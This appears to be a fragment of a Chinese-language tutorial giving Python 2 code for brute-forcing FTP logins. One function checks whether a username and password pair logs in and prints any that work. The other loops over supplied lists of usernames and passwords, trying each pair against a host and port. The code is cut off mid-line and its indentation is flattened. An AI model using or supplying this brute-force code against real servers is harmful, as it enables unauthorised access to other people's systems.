1、验证ftp是否能登陆成功def ValidateLogin(ipaddr, userName, passWord):
userName = userName.replace("\n","")
passWord = passWord.replace("\n","")
try:
print "-"*12
print "User:",userName,"Password:",passWord
ftp = FTP(ipaddr)
ftp.login(userName,passWord)
ftp.retrlines('LIST')
print "\t\n[!] Login successful:",userName, passWord
ftp.quit()
sys.exit(2)
except (ftplib.all_errors), msg:
#print "[-] An error occurred:", msg
pass
2、尝试登陆ftp服务器def try_login(custom_users, custom_passwords, host, port):
for user in custom_users:
for password in custom_passwords:
try:
con = ftplib.FTP(timeout=3.5)
con.connect(host, port)
ans = con.login(user,password)
if "230" in ans:<